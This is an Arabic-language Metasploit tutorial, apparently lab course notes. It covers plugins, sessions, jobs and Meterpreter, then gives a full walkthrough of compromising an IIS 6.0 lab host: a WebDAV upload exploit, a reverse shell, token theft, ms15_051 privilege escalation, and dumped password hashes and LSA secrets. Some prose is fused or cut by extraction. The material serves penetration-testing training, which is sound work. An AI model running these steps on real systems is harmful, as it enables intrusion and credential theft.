framework/plugins/Plugin_That_Does_Not_Exist.rb: cannot load such file --
/usr/share/metasploit-framework/plugins/Plugin_That_Does_Not_Exist.rbبعد التحميل، استخدم الأوامر المتاحة في الـ help الخاص بالـ plugin. كل integration ليه تفاعلاته الخاصة، فاقرأ عنه قبل ما تستخدمه.
الـ plugins الشائعة بتتيجي مع تحديثات Parrot OS (بتتجمع في الـ repo). ولتثبيت plugin مخصص مش موجود في التحديثات: خد ملف .rb من صفحة المطور وحطه في:
/usr/share/metasploit-framework/plugins
بصلاحيات مناسبة. مثال: DarkOperator's Metasploit-Plugins:
git clone https://github.com/darkoperator/Metasploit-Plugins
ls Metasploit-Pluginsaggregator.rb ips_filter.rb pcap_log.rb sqlmap.rb
alias.rb komand.rb pentest.rb thread.rb
auto_add_route.rb lab.rb request.rb token_adduser.rb
beholder.rb libnotify.rb rssfeed.rb token_hunter.rb
db_credcollect.rb msfd.rb sample.rb twitt.rb
db_tracker.rb msgrpc.rb session_notifier.rb wiki.rb
event_tester.rb nessus.rb session_tagger.rb wmap.rb
ffautoregen.rb nexpose.rb socket_logger.rb
growl.rb openvas.rb sounds.rbخد pentest.rb كمثال وانسخه للفولدر:
sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-
framework/plugins/pentest.rbبعدين شغل msfconsole واختبر التثبيت بأمر load. وبعد التحميل، الـ help menu بيتوسع بوظائف زيادة:
msfconsole -q
msf6 > load pentest
___ _ _ ___ _ _
| _ \___ _ _| |_ ___ __| |_ | _ \ |_ _ __ _(_)_ _
| _/ -_) ' \ _/ -_|_-< _| | _/ | || / _` | | ' \
|_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_|
|___/
Version 1.6
Pentest Plugin loaded.
by Carlos Perez (carlos_perez[at]darkoperator.com)
[*] Successfully loaded plugin: pentest
msf6 > help
Tradecraft Commands
===================
Command Description ------- -----------
check_footprint Checks the possible footprint of a post module on a
target system.
auto_exploit Commands
=====================
Command Description
------- -----------
show_client_side Show matched client side exploits from data imported
from vuln scanners.
vuln_exploit Runs exploits based on data imported from vuln
scanners.
Discovery Commands
==================
Command Description
------- -----------
discover_db Run discovery modules against current hosts in
the database.
network_discover Performs a port-scan and enumeration of
services found for non pivot networks.
pivot_network_discover Performs enumeration of networks available to
a specified Meterpreter session.
show_session_networks Enumerate the networks one could pivot thru
Meterpreter in the active sessions.
Project Commands
================
Command Description
------- -----------
project Command for managing projects.
Postauto Commands
=================
Command Description
------- -----------
app_creds Run application password collection modules
against specified sessions.
get_lhost List local IP addresses that can be used for
LHOST.
multi_cmd Run shell command against several sessions
multi_meter_cmd Run a Meterpreter Console Command against
specified sessions.
multi_meter_cmd_rc Run resource file with Meterpreter Console
Commands against specified sessions.
multi_post Run a post module against specified sessions. multi_post_rc Run resource file with post modules and options
against specified sessions.
sys_creds Run system password collection modules against
specified sessions.
<SNIP>ناس كتير بتكتب plugins للإطار، وكل واحد ليه غرض وبيوفر وقت بعد ما تتعود عليه. أشهرها:
| nMap (pre-installed) | NexPose (pre-installed) | Nessus (pre-installed) |
| Mimikatz (pre-installed V.1) | Stdapi (pre-installed) | Railgun |
| Priv | Incognito (pre-installed) | Darkoperator's |
الإطار مكتوب بـ Ruby، لغة object-oriented، وده جزء من سبب قوة msfconsole. الـ Mixins classes بتشتغل كـ methods لاستخدام classes تانية من غير ما تكون parent ليها: مش inheritance، أقرب لـ inclusion. بتستخدمها لما:
أغلب Ruby قايم على الـ Mixins كـ Modules، وبيتطبق بكلمة include وبعدها اسم الـ module. لو لسه بتبدأ مع Metasploit مش لازم تشيل هم الـ Mixins، بس اعرف إن التخصيص ممكن يوصل لمستوى معقد.
msfconsole بيدير modules كتير في نفس الوقت، وده من أسباب مرونته. بيحصل بـ Sessions: كل module بياخد واجهة تحكم مخصصة. لما تعمل كذا session، تتنقل بينهم، وتربط module مختلف بـ session في الـ background تشغله عليه، أو تحولهم لـ jobs.
الـ session لما تتحط في الـ background بتفضل شغالة والاتصال بالهدف مستمر. بس ممكن تموت لو حصل خطأ في تشغيل الـ payload، وساعتها قناة الاتصال بتتقفل.
وانت بتشغل exploits أو auxiliary modules، تقدر تعمل background للـ session طول ما فيه قناة اتصال بالهدف: بـ [CTRL] + [Z] أو بأمر background في حالة Meterpreter stages. بيطلب تأكيد، وبعد ما توافق ترجع لـ prompt الـ msf6 > وتقدر تشغل module تاني فورا.
msf6 exploit(windows/smb/psexec_psh) > sessions
Active sessions
===============
Id Name Type Information
Connection
-- ---- ---- ----------- ---------
-
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ MS01
10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Starting interaction with 1...meterpreter >وده مفيد لما تحب تشغل module إضافي على نظام اتستغل بالفعل وفيه قناة اتصال مستقرة: تعمل background للـ session الحالية، تبحث عن الـ module التاني، وتختار رقم الـ session اللي يتشغل عليه من show options بتاع الـ module التاني.
غالبا الـ modules دي في فئة post (Post-Exploitation): جامعي credentials، local exploit suggesters، وinternal network scanners.
لو شغال exploit على بورت معين ومحتاج البورت ده لـ module تاني، مش ينفع تقفل الـ session بـ [CTRL] + [C]: البورت هيفضل مشغول ويأثر على الـ module الجديد. بدل كده استخدم أمر jobs تشوف المهام الشغالة في الـ background وتقتل القديمة عشان تفضي البورت.
وفيه مهام تانية جوه الـ sessions تتحول لـ jobs تشتغل في الـ background بسلاسة، حتى لو الـ session ماتت أو اختفت.
msf6 exploit(multi/handler) > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-P Persist all running jobs on restart.
-S <opt> Row search filter.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate jobs by job ID and/or range.
-l List all running jobs.
-p <opt> Add persistence to job by job ID -v Print more detailed info. Use with -i and -lلما تشغل exploit تقدر تشغله كـ job بإضافة -j (يعني run in the context of a job):
msf6 exploit(multi/handler) > exploit -h
Usage: exploit [options]
Launches an exploitation attempt.
OPTIONS:
-J Force running in the foreground, even if passive.
-e <opt> The payload encoder to use. If none is specified, ENCODER
is used.
-f Force the exploit to run regardless of the value of
MinimumRank.
-h Help banner.
-j Run in the context of a job.
<SNIPmsf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.34:4444عشان تعرض كل الـ jobs: jobs -l. وقتل job معين: kill [index no.]. وقتل الكل: jobs -K.
msf6 exploit(multi/handler) > jobs -lJobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler generic/shell_reverse_tcp
tcp://10.10.14.34:4444الـ Meterpreter payload نوع متعدد الوجوه وقابل للتوسع، بيستخدم DLL injection عشان الاتصال بالضحية يبقى مستقر وصعب الكشف بالفحوصات البسيطة، وممكن يظبط يبقى persistent بعد إعادة التشغيل. بيعيش كله في ذاكرة الجهاز البعيد ومش بيسيب traces على الهارد، وده بيصعب كشفه بالطرق الجنائية التقليدية.
بيتسمى swiss army knife بتاع الـ pentesting، ولسهولة: غرضه تحسين إجراءات الـ post-exploitation، وبيعرض مجموعة أدوات مختارة بعناية لـ enumeration أسهل للهدف من جوه. بيساعدك تلاقي تقنيات privilege escalation وAV evasion، وتكمل بحث ثغرات، وتوفر وصول مستمر، وتعمل pivot.
كل اللي محتاجه تختار نسخة من show payloads حسب نوع الاتصال ونظام الهدف. ولما الـ exploit يخلص، بيحصل الآتي بالترتيب:
bind أو reverse أو findtag أو passivex).Reflective، والـ Reflective stub بيتولى تحميل/حقن الـ DLL.GET؛ Metasploit يستقبل الـ GET ويظبط الـ client.stdapi، وpriv لو الـ module بيدي صلاحيات admin. كل الـ extensions بتتحمل عبر AES.أول ما الـ payload يتبعت ويتنفذ على الهدف، بيوصلك Meterpreter shell، وتبدأ فورا بـ help تشوف إمكانياته:
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a
background thread
channel Displays information or control active
channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the
current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to
the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the
session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-
establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channelبعض الأوامر دي موجودة كمان في cheat sheet الموديول.
الفكرة الأساسية: Meterpreter بيوفر لك نفس اللي بيوفره shell مباشر على نظام الهدف، بس بوظائف أكتر. المطورين حطوا أهداف تصميم واضحة عشان يبقى:
Meterpreter بعد ما يوصل بيعيش كله في الذاكرة ومش بيكتب حاجة على الديسك، ومش بيعمل processes جديدة لأنه بيحقن نفسه في process مخترق أصلا. وكمان بيعمل process migration من process شغال لـ process تاني. ومع msfconsole v6، كل اتصالات الـ payload بين الهدف وجهازك مشفرة بـ AES لسرية وسلامة الداتا. كل ده بيخلي الأدلة الجنائية قليلة والتأثير على جهاز الضحية ضعيف.
استخدام Meterpreter لنظام اتصال channelized بين الهدف والمهاجم مفيد جدا: بتلاحظه أول ما تفتح host-OS shell جوه الـ Meterpreter stage بفتح channel مخصص ليه. وده كمان بيسمح بمرور traffic مشفر بـ AES.
مزايا Meterpreter بتتوسع وقت التشغيل وبتتحمل عبر الشبكة. بنيته المودولارية بتسمح بإضافة وظائف جديدة من غير ما تعيد بناءه.
Meterpreter = DLL injection في الذاكرة + AES على الـ socket + extensions بتتحمل حسب الصلاحيات. عشان كده هو الأساس لأغلب شغل الـ post-exploitation في الموديول ده.
اتكلمنا عن الأساسيات في سكشن الـ Payloads. دلوقتي نشوف قوته الحقيقية وإزاي بيرفع كفاءة الـ assessment ويوفر وقت. نبدأ بـ scan على هدف معروف، وكل حاجة من جوه msfconsole عشان نستفيد من تتبع الداتا:
msf6 > db_nmap -sV -p- -T5 -A 10.10.10.15
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-03 09:55 UTC
[*] Nmap: Nmap scan report for 10.10.10.15
[*] Nmap: Host is up (0.021s latency).
[*] Nmap: Not shown: 65534 filtered ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/tcp open http Microsoft IIS httpd 6.0
[*] Nmap: | http-methods:
[*] Nmap: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND
PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
[*] Nmap: |_http-server-header: Microsoft-IIS/6.0
[*] Nmap: |_http-title: Under Construction
[*] Nmap: | http-webdav-scan:
[*] Nmap: | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
[*] Nmap: | WebDAV type: Unknown
[*] Nmap: | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY,
MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
[*] Nmap: | Server Date: Thu, 03 Sep 2020 09:56:46 GMT
[*] Nmap: |_ Server Type: Microsoft-IIS/6.0
[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[*] Nmap: Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 59.74 seconds
msf6 > hosts
Hosts=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
10.10.10.15 Unknown device
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.15 80 tcp http open Microsoft IIS httpd 6.0بعدين نشوف معلومات الخدمات على الجهاز، وتحديدا البورت 80 وأنهي web service شغال عليه:
الموقع "تحت الإنشاء"، مفيش حاجة ويب مفيدة. بس آخر الصفحة ونتيجة الـ Nmap بيوضحوا إن السيرفر شغال Microsoft IIS httpd 6.0. نبحث عن ثغرات شائعة للنسخة دي، ونلاقي CVE-2017-7269 - وفيها module جاهز في Metasploit:
msf6 > search iis_webdav_upload_asp
Matching Modules
================ # Name Disclosure Date Rank
Check Description
- ---- --------------- ----
----- -----------
0 exploit/windows/iis/iis_webdav_upload_asp 2004-12-31
excellent No Microsoft IIS WebDAV Write Access Code Execution
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/iis/iis_webdav_upload_asp) > show options
Module options (exploit/windows/iis/iis_webdav_upload_asp):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The HTTP password to
specify for authentication
HttpUsername no The HTTP username to
specify for authentication
METHOD move yes Move or copy the file on
the remote system from .txt -> .asp (Accepted: move, copy)
PATH /metasploit%RAND%.asp yes The path to attempt to
upload
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS yes The target host(s),
range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for
outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 10.10.239.181 yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ---- 0 Automaticنظبط الباراميترات المطلوبة: هنا LHOST وRHOST، لأن باقي إعدادات الهدف يبدو إنها default:
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOST 10.10.10.15
RHOST => 10.10.10.15
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/iis/iis_webdav_upload_asp) > run
[*] Started reverse TCP handler on 10.10.14.26:4444
[*] Checking /metasploit28857905.asp
[*] Uploading 612435 bytes to /metasploit28857905.txt...
[*] Moving /metasploit28857905.txt to /metasploit28857905.asp...
[*] Executing /metasploit28857905.asp...
[*] Sending stage (175174 bytes) to 10.10.10.15
[*] Deleting /metasploit28857905.asp (this doesn't always work)...
[!] Deletion failed on /metasploit28857905.asp [403 Forbidden]
[*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.10.10.15:1030) at
2020-09-03 10:10:21 +0000
meterpreter >بقى عندك Meterpreter shell، بس بص على الـ output: فيه ملف .asp اسمه metasploit28857905 موجود على الهدف دلوقتي. الـ shell نفسه في الذاكرة، فالملف مش محتاج، وmsfconsole حاول يشيله وفشل بسبب الصلاحيات. سيبان traces زي دي مش في صالح المهاجم و liability كبيرة.
من وجهة نظر الـ sysadmin: لقاء ملفات بالشكل ده أو variations بسيطة منه بيوقف الهجوم في نصه. regex على أسماء الملفات أو توقيعات زي دي ممكن يمنع الـ Meterpreter shell قبل ما يتولد أصلا لو إعدادات الأمان مظبوطة.
لما جربنا نشوف إحنا مين، جالنا access denied. لازم نعمل migration للـ process لمستخدم بصلاحيات أعلى:
meterpreter > getuid
[-] 1055: Operation failed: Access is denied.
meterpreter > ps
Process List
============
PID PPID Name Arch Session User
Path
--- ---- ---- ---- ------- ----
----
0 0 [System Process]
4 0 System
216 1080 cidaemon.exe
272 4 smss.exe
292 1080 cidaemon.exe
<...SNIP...>
1712 396 alg.exe
1836 592 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK
SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
1920 396 dllhost.exe
2232 3552 svchost.exe x86 0
C:\WINDOWS\Temp\rad9E519.tmp\svchost.exe
2312 592 wmiprvse.exe
3552 1460 w3wp.exe x86 0 NT AUTHORITY\NETWORK
SERVICE c:\windows\system32\inetsrv\w3wp.exe
3624 592 davcdata.exe x86 0 NT AUTHORITY\NETWORK
SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
4076 1080 cidaemon.exe
meterpreter > steal_token 1836
Stolen token with username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICEبقى عندنا مستوى صلاحيات ما، فندور على أي حاجة مهمة. في C:\Inetpub\ فيه فولدر AdminScripts مثير للاهتمام، بس مش عندنا صلاحية نقرأ اللي جواه:
c:\Inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of c:\Inetpub
04/12/2017 05:17 PM <DIR> .
04/12/2017 05:17 PM <DIR> ..
04/12/2017 05:16 PM <DIR> AdminScripts
09/03/2020 01:10 PM <DIR> wwwroot
0 File(s) 0 bytes
4 Dir(s) 18,125,160,448 bytes free
c:\Inetpub>cd AdminScripts
cd AdminScripts
Access is denied.نشغل local exploit suggester ونربطه بالـ Meterpreter session الحالية: نعمل background للـ session، نبحث عن الـ module، ونحط الـ SESSION على رقم الـ session:
meterpreter > bg
Background session 1? [y/N] y
msf6 exploit(windows/iis/iis_webdav_upload_asp) > search
local_exploit_suggester
Matching Modules
================
# Name Disclosure Date Rank
Check Description
- ---- --------------- ---- -
---- -----------
0 post/multi/recon/local_exploit_suggester normal
No Multi Recon Local Exploit Suggestermsf6 exploit(windows/iis/iis_webdav_upload_asp) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this
module on
SHOWDESCRIPTION false yes Displays a detailed
description for the available exploits
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.15 - Collecting local exploits for x86/windows...
[*] 10.10.10.15 - 34 exploit checks are being tried...
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The service is
running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The
target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target
appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The
target appears to be vulnerable.
[+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The service is
running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target
appears to be vulnerable.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) >الـ recon module بيعرض options كتير. نمشي عليهم واحد واحد ونوصل لـ ms15_051_client_copy_image، واللي بينجح ويوصلنا لـ root shell بتحكم كامل في الهدف:
msf6 post(multi/recon/local_exploit_suggester) > use
exploit/windows/local/ms15_051_client_copy_images
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf6 exploit(windows/local/ms15_051_client_copy_image) > show options
Module options (exploit/windows/local/ms15_051_client_copy_image):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 46.101.239.181 yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf6 exploit(windows/local/ms15_051_client_copy_image) > set session 1
session => 1
msf6 exploit(windows/local/ms15_051_client_copy_image) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/ms15_051_client_copy_image) > run
[*] Started reverse TCP handler on 10.10.14.26:4444
[*] Launching notepad to host the exploit...
[+] Process 844 launched.
[*] Reflectively injecting the exploit DLL into 844...
[*] Injecting exploit into 844...
[*] Exploit injected. Injecting payload into 844...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to
complete.
[*] Sending stage (175174 bytes) to 10.10.10.15
[*] Meterpreter session 2 opened (10.10.14.26:4444 -> 10.10.10.15:1031) at
2020-09-03 10:35:01 +0000
meterpreter > getuidServer username: NT AUTHORITY\SYSTEMمن هنا نستخدم وظائف Meterpreter: استخراج hashes، انتحال أي process، وغيرها:
meterpreter > hashdump
Administrator:500:c74761604a24f0dfd0a9ba2c30e462cf:d6908f022af0373e9e21b8a
241c86dca:::
ASPNET:1007:3f71d62ec68a06a39721cb3f54f04a3b:edc0d5506804653f58964a2376bbd
769:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0:::
IUSR_GRANPA:1003:a274b4532c9ca5cdf684351fab962e86:6a981cb5e038b2d8b713743a
50d89c88:::
IWAM_GRANPA:1004:95d112c4da2348b599183ac6b1d67840:a97f39734c21b3f6155ded78
21d04d16:::
Lakis:1009:f927b0679b3cc0e192410d9b0b40873c:3064b6fc432033870c6730228af786
7c:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:8ed3993efb4e6476e4f
75caebeca93e6:::
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : GRANNY
SysKey : 11b5033b62a3d2d6bb80a0d45ea88bfb
Local SID : S-1-5-21-1709780765-3897210020-3926566182
SAMKey : 37ceb48682ea1b0197c7ab294ec405fe
RID : 000001f4 (500)
User : Administrator
Hash LM : c74761604a24f0dfd0a9ba2c30e462cf
Hash NTLM: d6908f022af0373e9e21b8a241c86dca
RID : 000001f5 (501)
User : Guest
RID : 000003e9 (1001)
User : SUPPORT_388945a0
Hash NTLM: 8ed3993efb4e6476e4f75caebeca93e6
RID : 000003eb (1003)User : IUSR_GRANPA
Hash LM : a274b4532c9ca5cdf684351fab962e86
Hash NTLM: 6a981cb5e038b2d8b713743a50d89c88
RID : 000003ec (1004)
User : IWAM_GRANPA
Hash LM : 95d112c4da2348b599183ac6b1d67840
Hash NTLM: a97f39734c21b3f6155ded7821d04d16
RID : 000003ef (1007)
User : ASPNET
Hash LM : 3f71d62ec68a06a39721cb3f54f04a3b
Hash NTLM: edc0d5506804653f58964a2376bbd769
RID : 000003f1 (1009)
User : Lakis
Hash LM : f927b0679b3cc0e192410d9b0b40873c
Hash NTLM: 3064b6fc432033870c6730228af7867cmeterpreter > lsa_dump_secrets
[+] Running as SYSTEM
[*] Dumping LSA secrets
Domain : GRANNY
SysKey : 11b5033b62a3d2d6bb80a0d45ea88bfb
Local name : GRANNY ( S-1-5-21-1709780765-3897210020-3926566182 )
Domain name : HTB
Policy subsystem is : 1.7
LSA Key : ada60ee248094ce782807afae1711b2c
Secret : aspnet_WP_PASSWORD
cur/text: Q5C'181g16D'=F
Secret : D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV
cur/hex : e9 1c c7 89 aa 02 92 49 84 58 a4 26 8c 7b 1e c2
Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 7a 3b 72 f3 cd ed 29 ce b8 09 5b b0 e2 63 73 8a ab
c6 ca 49 2b 31 e7 9a 48 4f 9c b3 10 fc fd 35 bd d7 d5 90 16 5f fc 63
full:
7a3b72f3cded29ceb8095bb0e263738aabc6ca492b31e79a484f9cb310fcfd35bdd7d59016
5ffc63
m/u : 7a3b72f3cded29ceb8095bb0e263738aabc6ca49 /2b31e79a484f9cb310fcfd35bdd7d590165ffc63
Secret : L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75
cur/hex : 52 53 41 32 48 00 00 00 00 02 00 00 3f 00 00 00 01 00 01 00 b3
ec 6b 48 4c ce e5 48 f1 cf 87 4f e5 21 00 39 0c 35 87 88 f2 51 41 e2 2a e0
01 83 a4 27 92 b5 30 12 aa 70 08 24 7c 0e de f7 b0 22 69 1e 70 97 6e 97 61
d9 9f 8c 13 fd 84 dd 75 37 35 61 89 c8 00 00 00 00 00 00 00 00 97 a5 33 32
1b ca 65 54 8e 68 81 fe 46 d5 74 e8 f0 41 72 bd c6 1e 92 78 79 28 ca 33 10
ff 86 f0 00 00 00 00 45 6d d9 8a 7b 14 2d 53 bf aa f2 07 a1 20 29 b7 0b ac
1c c4 63 a4 41 1c 64 1f 41 57 17 d1 6f d5 00 00 00 00 59 5b 8e 14 87 5f a4
bc 6d 8b d4 a9 44 6f 74 21 c3 bd 8f c5 4b a3 81 30 1a f6 e3 71 10 94 39 52
00 00 00 00 9d 21 af 8c fe 8f 9c 56 89 a6 f4 33 f0 5a 54 e2 21 77 c2 f4 5c
33 42 d8 6a d6 a5 bb 96 ef df 3d 00 00 00 00 8c fa 52 cb da c7 10 71 10 ad
7f b6 7d fb dc 47 40 b2 0b d9 6a ff 25 bc 5f 7f ae 7b 2b b7 4c c4 00 00 00
00 89 ed 35 0b 84 4b 2a 42 70 f6 51 ab ec 76 69 23 57 e3 8f 1b c3 b1 99 9e
31 09 1d 8c 38 0d e7 99 57 36 35 06 bc 95 c9 0a da 16 14 34 08 f0 8e 9a 08
b9 67 8c 09 94 f7 22 2e 29 5a 10 12 8f 35 1c 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
Secret : L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588
cur/hex : 00 f2 d1 31 e2 11 d3 01
Secret : L$TermServLiceningSignKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d
Secret : L$TermServLicensingExchKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d
Secret : L$TermServLicensingServerId-12d4b7c8-77d5-11d1-8c24-00c04fa3080d
Secret : L$TermServLicensingStatus-12d4b7c8-77d5-11d1-8c24-00c04fa3080d
Secret : L${6B3E6424-AF3E-4bff-ACB6-DA535F0DDC0A}
cur/hex : ca 66 0b f5 42 90 b1 2b 64 a0 c5 87 a7 db 9a 8a 2e ee da a8 bb
f6 1a b1 f4 03 cf 7a f1 7f 4c bc fc b4 84 36 40 6a 34 f9 89 56 aa f4 43 ef
85 58 38 3b a8 34 f0 dc c3 7f
old/hex : ca 66 0b f5 42 90 b1 2b 64 a0 c5 87 a7 db 9a 8a 2e c8 e9 13 e6
5f 17 a9 42 93 c2 e3 4c 8c c3 59 b8 c2 dd 12 a9 6a b2 4c 22 61 5f 1f ab ab
ff 0c e0 93 e2 e6 bf ea e7 16
Secret : NL$KM
cur/hex : 91 de 7a b2 cb 48 86 4d cf a3 df ae bb 3d 01 40 ba 37 2e d9 56
d1 d7 85 cf 08 82 93 a2 ce 5f 40 66 02 02 e1 1a 9c 7f bf 81 91 f0 0f f2 af
da ed ac 0a 1e 45 9e 86 9f e7 bd 36 eb b2 2a 82 83 2f
Secret : SAC
Secret : SAI
Secret : SCM:{148f1a14-53f3-4074-a573-e1ccd344e1d0}Secret : SCM:{3D14228D-FBE1-11D0-995D-00C04FD919C1}
Secret : _SC_Alerter / service 'Alerter' with username : NT
AUTHORITY\LocalService
Secret : _SC_ALG / service 'ALG' with username : NT
AUTHORITY\LocalService
Secret : _SC_aspnet_state / service 'aspnet_state' with username : NT
AUTHORITY\NetworkService
Secret : _SC_Dhcp / service 'Dhcp' with username : NT
AUTHORITY\NetworkService
Secret : _SC_Dnscache / service 'Dnscache' with username : NT
AUTHORITY\NetworkService
Secret : _SC_LicenseService / service 'LicenseService' with username : NT
AUTHORITY\NetworkService
Secret : _SC_LmHosts / service 'LmHosts' with username : NT
AUTHORITY\LocalService
Secret : _SC_MSDTC / service 'MSDTC' with username : NT
AUTHORITY\NetworkService
Secret : _SC_RpcLocator / service 'RpcLocator' with username : NT
AUTHORITY\NetworkService
Secret : _SC_RpcSs / service 'RpcSs' with username : NT
AUTHORITY\NetworkService
Secret : _SC_stisvc / service 'stisvc' with username : NT
AUTHORITY\LocalService
Secret : _SC_TlntSvr / service 'TlntSvr' with username : NT
AUTHORITY\LocalService
Secret : _SC_WebClient / service 'WebClient' with username : NT
AUTHORITY\LocalServiceولو الجهاز موصول بشبكة أكبر، الـ loot دي تتحول لـ pivot جوه النظام، وصول لموارد داخلية، وانتحال مستخدمين بصلاحيات أعلى لو وضع الأمان في الشبكة ضعيف.
لتثبيت أي modules جديدة عملها مستخدمين تانيين، تحدث msfconsole من الترمنال، وهكذا تاخد أحدث exploits وauxiliaries ومزايا. طول ما الـ modules مدفوعة للفرع الرئيسي في GitHub، انت محدث.
ولو محتاج module معين بس ومش عايز upgrade كامل، نزله وثبته يدوي. الأفضل للبحث: ExploitDB، وفيه tag اسمه Metasploit Framework (MSF) بيعرض السكربتات المتاحة بصيغة module. تنزلها من ExploitDB وتثبتها في فولدر Metasploit عندك، وبعدها تبحث عنها من جوه msfconsole.
مثال: عايز exploit لـ Nagios3 بيستغل command injection، والـ module المطلوب: Nagios3 - 'statuswml.cgi' Command Injection (Metasploit). نبحث في msfconsole ومش لاقيينه - يعني إما الإطار مش محدث، أو الـ module مش في الإصدار الرسمي:
msf6 > search nagios
Matching Modules================
# Name
Disclosure Date Rank Check Description
- ---- ------
--------- ---- ----- -----------
0 exploit/linux/http/nagios_xi_authenticated_rce 2019-
07-29 excellent Yes Nagios XI Authenticated Remote Command
Execution
1 exploit/linux/http/nagios_xi_chained_rce 2016-
03-06 excellent Yes Nagios XI Chained Remote Code Execution
2 exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo 2018-
04-17 manual Yes Nagios XI Chained Remote Code Execution
3 exploit/linux/http/nagios_xi_magpie_debug 2018-
